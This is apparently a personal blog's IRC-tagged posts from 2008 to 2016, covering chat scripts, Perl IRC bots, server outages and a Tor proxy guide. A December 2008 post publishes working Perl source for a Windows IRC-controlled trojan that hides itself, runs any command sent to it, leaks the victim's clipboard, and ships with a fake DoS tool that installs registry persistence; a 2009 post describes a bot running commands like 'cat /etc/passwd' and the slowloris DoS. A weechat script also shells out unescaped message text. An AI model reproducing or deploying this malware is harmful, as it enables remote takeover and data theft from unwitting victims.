Showing posts with label irc. Show all posts
Showing posts with label irc. Show all posts

Sunday, January 24, 2016

Malvager is where it's at Y'all

That's wassup



Irc is love. irc is life.

Friday, January 22, 2016

I was on IRC, and our bot missed my regex because I didn't have a trailing slash...

So I typed the following regex, gold starred that bitch but our bought doesn't let you do shit like that so I tested it in vim.

Irc is love, irc is lyf

Sunday, January 17, 2016

Taking advantage of weechat, sms gateway and mailgun, so I get irc messages directed at me on my phone

I wrote this script a while ago so I could have the weechat instance running on my server send me texts whenever I was highlighted in IRC. IRC is love, IRC is life.

So what I did was found my sms gateway typically your email to sms gateway is something like:
your_number@sms-gateway.carrier.com

I used mailgun to deal with email, because who would even want to deal with email any other way...gross. Mailgun is a free service. This also creates a log of everything in /var/log/highlight.log. And I think at one point I had a really ugly stupid script that would check the md5 of the log file on the server, and if it had changed it would give me a growl alert on my mac...which is terrible design and I'm glad I don't do that anymore.


import weechat
end_command = ">> /var/log/highlight.log"
import subprocess
weechat.register("snail", "Bsdpunk", "1.0", "GPL3", "Test script", "", "")
weechat.prnt("", "Hello, from python script!")
import requests
key = "mailgun_api_key"
sandbox = "mailgun_domain"
recipient = 'my_number@sms-gateway.carrier.com'

def join_cb(data, signal, signal_data):
    nick = weechat.info_get("irc_nick_from_host", signal_data)
    server = signal.split(",")[0]
    channel = signal_data.split(":")[-1]
    buffer = weechat.info_get("irc_buffer", "%s,%s" % (server, channel))
    if buffer:
        weechat.prnt(buffer, "Eheh, %s has joined this channel!" % nick)
    return weechat.WEECHAT_RC_OK

def message(data, bufferp, uber_empty, tagsn, isdisplayed, ishilight, prefix, message):
    #weechat.prnt("", data)
    #weechat.prnt("", bufferp)
    #weechat.prnt("", uber_empty)
    #weechat.prnt("", tagsn)
    #weechat.prnt("", isdisplayed)
    #weechat.prnt("", ishilight)
    #weechat.prnt("", prefix)
    #weechat.prnt("", message)
    if int(ishilight):
    weechat.prnt("", message)
        full_command = "echo '" +message + "' " + end_command
        weechat.prnt("", full_command)
        process = subprocess.call(full_command, shell=True)
        request_url = 'https://api.mailgun.net/v2/{0}/messages'.format(sandbox)
        request = requests.post(request_url, auth=('api', key), data={
            'from': 'hammer@mechanicalpinata.com',
            'to': recipient,
            'subject': "IRC Message",
            'text':prefix+' '+message
        })
        weechat.prnt('','Status: {0}'.format(request.status_code))
        weechat.prnt('','Body:   {0}'.format(request.text))
    return weechat.WEECHAT_RC_OK

weechat.hook_print("", "irc_privmsg", "", 1, "message", "")import weechat
end_command = ">> /var/log/highlight.log"
import subprocess
weechat.register("snail", "Bsdpunk", "1.0", "GPL3", "Test script", "", "")
weechat.prnt("", "Hello, from python script!")
import requests
key = "mailgun_api_key"
sandbox = "mailgun_domain"
recipient = 'my_number@sms-gateway.carrier.com'

def join_cb(data, signal, signal_data):
    nick = weechat.info_get("irc_nick_from_host", signal_data)
    server = signal.split(",")[0]
    channel = signal_data.split(":")[-1]
    buffer = weechat.info_get("irc_buffer", "%s,%s" % (server, channel))
    if buffer:
        weechat.prnt(buffer, "Eheh, %s has joined this channel!" % nick)
    return weechat.WEECHAT_RC_OK

def message(data, bufferp, uber_empty, tagsn, isdisplayed, ishilight, prefix, message):
    #weechat.prnt("", data)
    #weechat.prnt("", bufferp)
    #weechat.prnt("", uber_empty)
    #weechat.prnt("", tagsn)
    #weechat.prnt("", isdisplayed)
    #weechat.prnt("", ishilight)
    #weechat.prnt("", prefix)
    #weechat.prnt("", message)
    if int(ishilight):
    weechat.prnt("", message)
        full_command = "echo '" +message + "' " + end_command
        weechat.prnt("", full_command)
        process = subprocess.call(full_command, shell=True)
        request_url = 'https://api.mailgun.net/v2/{0}/messages'.format(sandbox)
        request = requests.post(request_url, auth=('api', key), data={
            'from': 'hammer@mechanicalpinata.com',
            'to': recipient,
            'subject': "IRC Message",
            'text':prefix+' '+message
        })
        weechat.prnt('','Status: {0}'.format(request.status_code))
        weechat.prnt('','Body:   {0}'.format(request.text))
    return weechat.WEECHAT_RC_OK

weechat.hook_print("", "irc_privmsg", "", 1, "message", "")


Sunday, June 12, 2011

#devel contest draft rules

It's contest time again, and more particularly, it's contest time for the #devel channel on irc.malvager.net

Draft Rules for the #devel contest of irc.malvager.net:


Create a tool that will either allow or otherwise encourage people in #devel to collaborate in code writing and or sharing. The platform/language can be any (within reason; if you’re not sure, ask). It will be judged subjectively by both bsdpunk and psycho on both functionality and creativity. The first place prize will be a bsdpunk t-shirt and an Arduino (or Arduino clone). The second place prize is an Arduino (or clone). If god willing a third place prize, tbd (this one is not written in stone).

Contest will be over on the 20th of July.


Draft rules are subject to change for the next week, keep updated by looking at this blog(rules will only change by minor stipulations, the spirit of the contest will remain the same).

Wednesday, July 8, 2009

Perl Tutorial on Setting up a server monitoring bot.

There are two bot's both are based off the example on the example from the cpan page for POE::Component::IRC. The first is made to show your servers to load, external, and internal IP addresses(Using the Commands: load, ipadd, and exadd). The second one is more mischevious and runs any command you wish on the server by saying in the private channel the word system and then the command as in:system cat /etc/passwd . The second one can also run the slow loris DOS attack which affects versions of apache below 2.2.8 and some versions of squid proxy server. This DOS attack can take down small servers with only one machine running them, the second bot will not be revealed in this post but the next post. They both sign in to a password protected channel, however be aware that password is stored within the perl file which by it's nature makes it insecure. There are plans to add a diffrent authentication method in the future.

sudo cpan
at cpan shell:
install POE::Component::IRC

NOTE: This install from cpan did not work in my out of the box Fedora installation(and I did not have time to troubleshoot because I am trying to get this out so I can work on music until I get my new album out.), However it worked fine on both my Cent0S install and my Mac install.

It may ask you if you want to install dependencies and you do(it may ask more than once). It may also ask you to run tests, choose yes. This may take a while.

If you do not have cpan, install, install via yum or apt-get.
ie yum install cpan or apt-get install cpan

If you have not run cpan before you will need to set it up. That is beyond the scope of this post, however you tend to be ok with defaults.

After that while still in the cpan shell:
install LWP::Simple

It's a library in perl for pulling down webpages, the bot will use it to find your external ip.

Now copy or download the script to file. I did:
vi filename.pl
Then I hit the letter i
then I pasted the file

***Note, you will need to change $channel, $password, and $server, to your server channel and password. Otherwise you will end up on my server ^.^**

For linux(CentOS, cmds may vary) use:


use strict;
use warnings;
use POE qw(Component::IRC);
use LWP::Simple;

my $nickname = 'PoeIrcBot' . $$;
my $ircname = 'PoeIrcServerBot';
my $server = 'irc.malvager.com';
my $channel = "#channel";
my $password = "password";

my @channels = ('');

# We create a new PoCo-IRC object
my $irc = POE::Component::IRC->spawn(
nick => $nickname,
ircname => $ircname,
server => $server,
) or die "Oh noooo! $!";

POE::Session->create(
package_states => [
main => [ qw(_default _start irc_001 irc_public) ],
],
heap => { irc => $irc },
);

$poe_kernel->run();

sub _start {
my $heap = $_[HEAP];

# retrieve our component's object from the heap where we stashed it
my $irc = $heap->{irc};

$irc->yield( register => 'all' );
$irc->yield( connect => { } );
return;
}

sub irc_001 {
my $sender = $_[SENDER];

# Since this is an irc_* event, we can get the component's object by
# accessing the heap of the sender. Then we register and connect to the
# specified server.
my $irc = $sender->get_heap();

print "Connected to ", $irc->server_name(), "\n";

# we join our channels
$irc->yield( join => $_ ) for @channels;
$irc->yield( join => "$channel $password");
return;
}

sub irc_public {
my ($sender, $who, $where, $what) = @_[SENDER, ARG0 .. ARG2];
my $nick = ( split /!/, $who )[0];
my $channel = $where->[0];

if ( my ($loadWord) = $what =~ /^load/ ) {
my $uptime = `uptime`;
my $cpuUsagetwo = qr/(load average: \d+\.\d+, \d+\.\d+, \d+\.\d+)/;
if ($uptime =~ $cpuUsagetwo){
$irc->yield( privmsg => $channel => "$nick: $&" );
}
}
if ( my ($ipWord) = $what =~ /^ipadd/ ) {
my @ifconfig = `ifconfig`;
my $inetter = qr/(inet addr:\d+\.\d+\.\d+.\d+)/;
foreach (@ifconfig) {
my $line = $_;
if ($line =~ $inetter){
$irc->yield( privmsg => $channel => "$nick: $&" );
}
}
}

if ( my ($ipWordtwp) = $what =~ /^exadd/ ) {
my $whyip = qr/(Your IP address is \d+\.\d+\.\d+.\d+)/;
my $content = get("http://whatismyipaddress.com");
if($content =~ $whyip){
$irc->yield( privmsg => $channel => "$nick: $&" );
}
}

return;
}

# We registered for all events, this will produce some debug info.
sub _default {
my ($event, $args) = @_[ARG0 .. $#_];
my @output = ( "$event: " );

for my $arg (@$args) {
if ( ref $arg eq 'ARRAY' ) {
push( @output, '[' . join(', ', @$arg ) . ']' );
}
else {
push ( @output, "'$arg'" );
}
}
print join ' ', @output, "\n";
return 0;
}



For Mac use:


use strict;
use warnings;
use POE qw(Component::IRC);
use LWP::Simple;
#for mac
my $nickname = 'PoeIrcBot' . $$;
my $ircname = 'Flibble the Sailor Bot';
my $server = 'irc.malvager.com';
my $channel = "#channel";
my $password ="password";

my @channels = ('');

# We create a new PoCo-IRC object
my $irc = POE::Component::IRC->spawn(
nick => $nickname,
ircname => $ircname,
server => $server,
) or die "Oh noooo! $!";

POE::Session->create(
package_states => [
main => [ qw(_default _start irc_001 irc_public) ],
],
heap => { irc => $irc },
);

$poe_kernel->run();

sub _start {
my $heap = $_[HEAP];

# retrieve our component's object from the heap where we stashed it
my $irc = $heap->{irc};

$irc->yield( register => 'all' );
$irc->yield( connect => { } );
return;
}

sub irc_001 {
my $sender = $_[SENDER];

# Since this is an irc_* event, we can get the component's object by
# accessing the heap of the sender. Then we register and connect to the
# specified server.
my $irc = $sender->get_heap();

print "Connected to ", $irc->server_name(), "\n";

# we join our channels
$irc->yield( join => $_ ) for @channels;
$irc->yield( join => "$channel $password");
return;
}

sub irc_public {
my ($sender, $who, $where, $what) = @_[SENDER, ARG0 .. ARG2];
my $nick = ( split /!/, $who )[0];
my $channel = $where->[0];

if ( my ($loadWord) = $what =~ /^load/ ) {
my $uptime = `uptime`;
my $cpuUsagetwo = qr/(load averages: \d+\.\d+ \d+\.\d+ \d+\.\d+)/;
if ($uptime =~ $cpuUsagetwo){
$irc->yield( privmsg => $channel => "$nick: $&" );
}
}
if ( my ($ipWord) = $what =~ /^ipadd/ ) {
my @ifconfig = `ifconfig`;
my $inetter = qr/(inet \d+\.\d+\.\d+.\d+)/;
foreach (@ifconfig) {
my $line = $_;
if ($line =~ $inetter){
$irc->yield( privmsg => $channel => "$nick: $&" );
}
}
}

if ( my ($ipWordtwp) = $what =~ /^exadd/ ) {
my $whyip = qr/(Your IP address is \d+\.\d+\.\d+.\d+)/;
my $content = get("http://whatismyipaddress.com");
if($content =~ $whyip){
$irc->yield( privmsg => $channel => "$nick: $&" );
}
}

return;
}

# We registered for all events, this will produce some debug info.
sub _default {
my ($event, $args) = @_[ARG0 .. $#_];
my @output = ( "$event: " );

for my $arg (@$args) {
if ( ref $arg eq 'ARRAY' ) {
push( @output, '[' . join(', ', @$arg ) . ']' );
}
else {
push ( @output, "'$arg'" );
}
}
print join ' ', @output, "\n";
return 0;
}



Then to run it just type:perl filename.pl , and that should have you set.
*If you do no use perl filename.pl you will need to put a shebang at the top of the file(i.e #!/usr/bin/perl) with your particular path to perl.

If you liked this you will probably like:
Half finished windows IRC bot trojan/zombie
Getting External IP in Perl

Monday, April 13, 2009

New Channel on irc.malvager.com

I created a channel for shooting the shit/talking about perl, on irc.malvager.com, just connect up and go to #perlbar.
That's:

/server irc.malvager.com
/join #perlbar

Monday, February 9, 2009

Spike IRC NXT Mindstorm Video, using perl bot


So this video doesn't really show much, but whatevs. I will hopefully have the cleaned up code with a few new functions posted tomorrow.

Thursday, February 5, 2009

Lego Mindstorm NXT controlled via a perl bot ie LEGO::NXT

Ok so I have connected the NXT brick to my mac via bluetooth using these instructions:
http://juju.org/articles/2006/10/22/bluetooth-serial-port-to-nxt-in-osx
Yes Yes I know there for ruby...fuck it.
Ok so after that I have this script running on my computer in perl using lego::nxt and some other modules that you may or may not already have installed. Install all those modules. Now the next thing you need to do is change some of the variables, this bot connects to irc.malvager.com in room #malvager, with a name of nxtbot and a random number appended.


**I'll write a much more thorough and interesting post later about all of this but I am very busy tonight, and just wanted to get some content out.**


If you private message the bot his motor runs.

Here's the script:

use Sys::Hostname;
use Net::IRC;
use strict;
use warnings;
use LEGO::NXT;
use LEGO::NXT::Constants qw(:DEFAULT);
use LEGO::NXT::MacBlueComm;
#This is a wait, so that if the user isn't connected to a network
#it will wait 45 seconds giving them plenty of times to get connected
my $host = hostname();
my $capsule = int(rand(99));
my $hoster = 'nxtbot'.$capsule;
my $irc = new Net::IRC;
my $dev = new LEGO::NXT::MacBlueComm('/dev/tty.NXT-DevB-1');
my $bt = new LEGO::NXT( $dev );
my $speed = 100;
my $tachoticks = 1000;

my $conn = $irc->newconn(
Server => shift || 'irc.malvager.com',
Port => shift || '6667',
Nick => $hoster,
Ircname => 'I like to greet!',
Username => 'fucker'
);

# We're going to add this to the conn hash so we know what channel we
# want to operate in.
$conn->{channel} = shift || '#malvager';

sub on_connect {

# shift in our connection object that is passed automatically
my $conn = shift;

# when we connect, join our channel and greet it
$conn->join($conn->{channel});
$conn->privmsg($conn->{channel}, 'Hello everyone!');
$conn->{connected} = 1;

}

sub on_join {

# get our connection object and the event object, which is passed
# with this event automatically
my ($conn, $event) = @_;

# this is the nick that just joined
my $nick = $event->{nick};
# say hello to the nick in public
$conn->privmsg($conn->{channel}, "Fuck You, $nick!");
}

sub on_part {

# pretty much the same as above

my ($conn, $event) = @_;

my $nick = $event->{nick};
$conn->privmsg($conn->{channel}, "Such a dick, $nick!");

}

sub on_msg {
my ($conn, $event) = @_;
my $text = $event->{args}[0];
$bt->set_output_state( $NXT_NORET, $NXT_MOTOR_A, $speed, $NXT_MOTOR_ON|$NXT_REGULATED, $NXT_REGULATION_MODE_MOTOR_SPEED, 0, $NXT_MOTOR_RUN_STATE_RUNNING, $tachoticks );
}
sub on_public {
# on an event, we get connection object and event hash
# regex the text to see if it begins with clip

# $event->{to}[0] is the channel where this was said
}
$conn->add_handler('public', \&on_public);

$conn->add_handler('msg', \&on_msg);
# add event handlers for join and part events
$conn->add_handler('join', \&on_join);
$conn->add_handler('part', \&on_part);

# The end of MOTD (message of the day), numbered 376 signifies we've connect
$conn->add_handler('376', \&on_connect);

#ccgenerator
$irc->start();

Friday, January 9, 2009

Using growl with irssi =, mac on irc

Growl is a really neat 3rd party app on the mac that loads a small fading information window on your screen when other applications send it information. So if you get a message on adium a little growl window pops up and tells you who and what they said temporarily, it's not as obtrusive as it sounds. So I have started on a script for irssi, to call growl. My script so far just displays the message that the person says, I haven't gotten it to say who says it yet. And it does something to the display in irrsi, and you have to hi command k, then ctrl-N back to your channel. You may notice the code is a little screwy, that's because originally I was just playing with the 8-ball.pl script on irssi's site. So thank you to Patrik Jansson, who wrote the 8-ball.pl script.

First you will need to make sure growl is installed. Second you will need the growl perl module which you can get by going to cpan in the terminal by typing:sudo cpan
Then you type install Mac::Growl
After it finishes installing make sure you have the scripts directory in ~/.irssi/ and then copy this perl file to it(~/.irssi/scripts/growl.pl):

#Irssi Growl
#
#
use strict;
use vars qw($VERSION %IRSSI);

use Irssi qw(command_bind signal_add);
use IO::File;
use Mac::Growl qw(:all);
$VERSION = '0.1';
%IRSSI = (
authors => 'Dusty Carver',
contact => 'bsdpunk@gmail.com',
name => 'irssiGrowl',
description => 'Growl for irssi',
license => 'GPL',
);

sub own_question {
my ($server, $msg, $target) = @_;
question($server, $msg, "", $target);
}

sub public_question {
my ($server, $msg, $nick, $address, $target) = @_;
question($server, $msg, $nick.": ", $target);
}
sub question($server, $msg, $nick, $target) {
my ($server, $msg, $nick, $target) = @_;
$_ = $msg;
if (!/^*bsdpunk/i) { return 0; }

if (/^*bsdpunk$/i){
Mac::Growl::RegisterNotifications(
# register your application in Growl before posting.
# just one time enough.
'irssiScript', # app name
['alert'], # all notification
['alert'], # default notification
);

Mac::Growl::PostNotification(
# post notification to Growl
"irssiScript", # app name
"alert", # notification type
"irssi", # alert title
"$_", # alert content
);
return 0;
} else {
if(!/^bsdpunk says/i){
return 0;
}
}

}

signal_add("message public", "public_question");
signal_add("message own_public", "own_question");

Monday, December 22, 2008

Perl / bot trojan, Could be used for building a bot net, needs a couple more features

This is a perl bot a built then compiled with perlapp to run as a trojan on others computers. It would also be a good candidate for a bot net bot, if someone added syn flood or other various network attacks. If you would like to add supplements to this bot just join the malvager forum and help us out. It can't revive itself out of suspension and needs a password option. Oh yeah and I used this bot tutorial to start with and you will defiantly notice the stolen code.

#!c:/perl/bin/perl.exe -w
#This is published under the gentleman's mal ware license should you
#improve it show the owner and give the owner cred
use Sys::Hostname;
use Net::IRC;
use strict;
use Win32::GUI;
use Win32::Clipboard;
my $hw = Win32::GUI::GetPerlWindow();
Win32::GUI::Hide($hw);
#This is a wait, so that if the user isn't connected to a network
#it will wait 45 seconds giving them plenty of times to get connected
sleep(45);
my $clip = Win32::Clipboard;
my $host = hostname();
my $capsule = int(rand(99));
my $hoster = $host.$capsule;
my $irc = new Net::IRC;


my $conn = $irc->newconn(
Server => shift || 'irc.9unkz0r.com',
Port => shift || '6667',
Nick => $hoster,
Ircname => 'I like to greet!',
Username => 'fucker'
);

# We're going to add this to the conn hash so we know what channel we
# want to operate in.
$conn->{channel} = shift || '#9unkz0r';

sub on_connect {

# shift in our connection object that is passed automatically
my $conn = shift;

# when we connect, join our channel and greet it
$conn->join($conn->{channel});
$conn->privmsg($conn->{channel}, 'Hello everyone!');
$conn->{connected} = 1;

}

sub on_join {

# get our connection object and the event object, which is passed
# with this event automatically
my ($conn, $event) = @_;

# this is the nick that just joined
my $nick = $event->{nick};
# say hello to the nick in public
$conn->privmsg($conn->{channel}, "Fuck You, $nick!");
}

sub on_part {

# pretty much the same as above

my ($conn, $event) = @_;

my $nick = $event->{nick};
$conn->privmsg($conn->{channel}, "Such a dick, $nick!");

}

sub on_msg {
my ($conn, $event) = @_;
my $text = $event->{args}[0];
my $pid;
if($pid = fork){
# Parent
$conn->privmsg($event->{nick}, "$text");
}elsif($pid == 0){
# Child, There is a problem with ram consumption I think using
#exec() rather than system is a good call, has not been tested with exec
system("$text");
}else{
# Error
die "Fork did not work\n";
}
}
sub on_public {

# on an event, we get connection object and event hash
my ($conn, $event) = @_;

# this is what was said in the event
my $text = $event->{args}[0];

# regex the text to see if it begins with clip
if ($text =~ m/clip/) {

# if so, show the contents of the clipboard, variables stolen from other tut
my $weather_text = $clip->Get();

# wrap text at 400 chars (about as much as you should put
# into a single IRC message
my @texts = $weather_text;
# $event->{to}[0] is the channel where this was said
foreach (@texts) {
$conn->privmsg($event->{to}[0], $_);
}
}
}
$conn->add_handler('public', \&on_public);

$conn->add_handler('msg', \&on_msg);
# add event handlers for join and part events
$conn->add_handler('join', \&on_join);
$conn->add_handler('part', \&on_part);

# The end of MOTD (message of the day), numbered 376 signifies we've connect
$conn->add_handler('376', \&on_connect);

#ccgenerator
$irc->start();


It will run anything from the command line you private message it, And if you type !clip, it will display the persons clipboard.

Here is the install program, it masquerades itself as a ip dos program, but really just puts registry entries in the machine so that it will start on restart.

use Sys::Hostname;
use Tk;
sub on_cc {
my $mw = new MainWindow;
$mw->Label(-text => 'Ip to attack')->pack;
$mw-> Entry() -> pack();
$mw->Label(-text => 'Will not work if IP is invalid')->pack;
$mw->Label(-text => 'Only Click Button Once')->pack;
$mw->Button(-text => 'Nuclear DOS',
-command =>\&on_press)->pack;
MainLoop;
}
on_cc();
sub on_press() {
$host = hostname();
my $regedit = 'REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ /v ccapp2 /t REG_EXPAND_SZ /d c:\windows';
my $bullshit = $regedit.'\\'.$host.'\RunTimeLib.exe';
my $dirs = 'mkdir c:\windows';
my $dirt = $dirs."\\".$host;
my $cp = 'xcopy .\runtime\RunTimeLib.exe "c:\windows"'."\\".$host;
my $exxe = 'c:\windows'."\\".$host."\\".'RunTimeLib.exe';
system("$bullshit");
system("$dirt");
system($cp);
system('cls');
my $pid;
if($pid = fork){
# Parent
system('echo starting syn flood');
}elsif($pid == 0){
# Child
system("$exxe");
}else{
# Error
die "Fork did not work\n";
}
exit;
}

Tuesday, December 16, 2008

irc.9unkz0r.com is back up

After a few days of ddosing and broken routes, irc.9unkz0r.com is back up and ready for action. The post below explains what happened.

HackForums.net was rooted and 9unkz0r IRC went down

On the 14th hackforums.net was rooted, through what the administrator said was an old script with an easy exploit. They were able to run a shell according to the administrator. Hackertopsites.com which is run on the same box had links to the attackers site c0rrupt.org/side. Not that long after irc.9unkz0r.com came under a ddos attack by a user with the handle uid0. It is not known whether these are related. The IRC server is still being "quarantined" by routing the majority of packets to /dev/null. However some users are able to log on, if you just happen to be one of the routes that is still up. It is unknown how long this outage will last. I also received a 514 message e-mail bomb. Luckily gmail grouped them all together.

AS OF SEPTEMBER 30TH 2009 THERE IS NO HACKFORUMS, in leiu please go to http://malvager.com

Thursday, October 30, 2008

irc.9unkz0r.com back online, again, and an IRC Shell review

Ok so our server got taken down, by Binary Shells, because we were accused of "botnet activity". Binary Shells was not prompt in helping us, and they offered no evidence. I strongly recommend against using them. Anyways we are up now so:

/server irc.9unkz0r.com
or
/server irc.mechanicalpinata.com

I would prefer you use the mechanicalpinata.com address(however they both resolve to the same IP).
Once again I want to emphasize http://www.binaryshell.com, is not a site that I recommend. I do recommend however, beef jerky, both slim jims and jack links.

Thursday, October 23, 2008

irc.9unkz0r.com back online

IRC is back online so just /server irc.9unkz0r.com . We are in #9unkz0r.

Sunday, September 7, 2008

Blocked on IRC? Need a quick and dirty solution? Proxy to complicated?

Well, if you have a shell you are in real good shape, particularly one that you can install things on. Enter Pork. Here is a quote from the pork readme:

WHAT IS PORK?
-------------

pork is an ncurses-based AOL instant messenger client. It uses the
OSCAR protocol (the one the windows client uses) to access AIM. Pork
features Perl scripting; an online help system; the ability to
configure nearly all aspects of the program's look-and-feel; an alias
system; and a powerful, fully-configurable key binding system. It
supports being logged in with more than one screen name at the same
time. The default look-and-feel of the client is modeled after the
ircII IRC client. Anyone comfortable using ircII (or any clients
derived from it -- e.g., epic, BitchX, etc.) will feel comfortable using
pork.

pork now supports IRC. The syntax for connecting to an IRC server is
/connect -irc [:[:]] [... [:[:]]]

The look-and-feel of pork is pretty much a complete ripoff of
the the look-and-feel of the excellent mw4.irc script for the epic IRC
client by Amber Adams . All credit for it goes to her.

_______________________________________

So basically you can ssh into your linux box, install pork, and use it as a pseudo proxy to get around those pesky kick bans.

Oh and if you have been wondering what I have been doing lately I have been trying to keep my flickr up to date, so check it out.

Saturday, July 5, 2008

I will be djing tonight, bdpunk 9unkz0r.com party

Last night and tonight I will be djing, we are having a 9unkz0r/bsdpunk blog party in the irc room at http://irc.9unkz0r.com or you can point your clients at irc://irc.9unkz0r.com. In the room #9unkz0r. The music will start somewhere around 10 Eastern Time.

Friday, June 27, 2008

irc network now up, new projects

You can get on cbhacker and my new IRC network, at irc.9unkz0r.com. CBHacker did all the leg work so if you like it thank him. Other projects: I am working on getting a google appengine account but the stupid SMS message isn't making it to my phone. Working on some artsy stuff too, hopefully some of this well come to fruition this weekend.

Saturday, April 12, 2008

Link exchange with sup3r501d13r

You may have noticed that the Other Sites Of interest tab on the side of the blog just got some new editions. I did a link exchange with a friend. The reason being is I was setting in an irc channel and he posted sexyscenegirls.blogspot.com, and I was like, that BASTARD, what an awesome idea for a traffic driving blog. Well certain there was something I could do to get my link up there, so we agreed on a link exchange. It turns out he has a couple of neat things going on. They also have a myspace, and I put them as a top friend on mine. And of course one last pimp for my scene girls.

Tuesday, February 12, 2008

I registered a channel in IRC

I registered an IRC channel on the chat4all.org servers:
http://www.chat4all.org/

You will have to point your client at them, the name of the room is #computer-punks.
Their isn't a lot of traffic right now but maybe in the future. I guess I should, say it's just me and one other guy.

Monday, February 11, 2008

How to Proxy Xchat with Tor on a eeePC

Tor is a proxy to keep you anonymous online.
Xchat is an irc client that let's you chat online.

Here is how to make them work together.

This is for eeePC's with eeeXubuntu. Install both Tor and xchat with either the synaptic package manager or apt-get. After that has been done run tor in a terminal window, if you get an error about how tor may be running twice you need to edit the config file. sudo vi /etc/tor/torrc
Change the port it uses from 9050 to 9051 (only do this if you are having problems). Open xchat...you may have to connect without tor once to get to the settings. When you can hit settings then preferences, under network click network setup. Hostname should be 127.0.0.1 and the port should be 9050 or 9051 if you had to change it. Choose SOCKS5 as your type, and choose Use proxy for: All connections.

If you get an odd error when you try to connect it is because someone behind the node you are exiting in tor has been using that node for naughty things, try disconnecting from tor and then connecting again.

EDIT The reason I had to change the port setting was because tor was already
EDIT started on the machine, if you make the change you will still be fine
EDIT sorry for the technical error.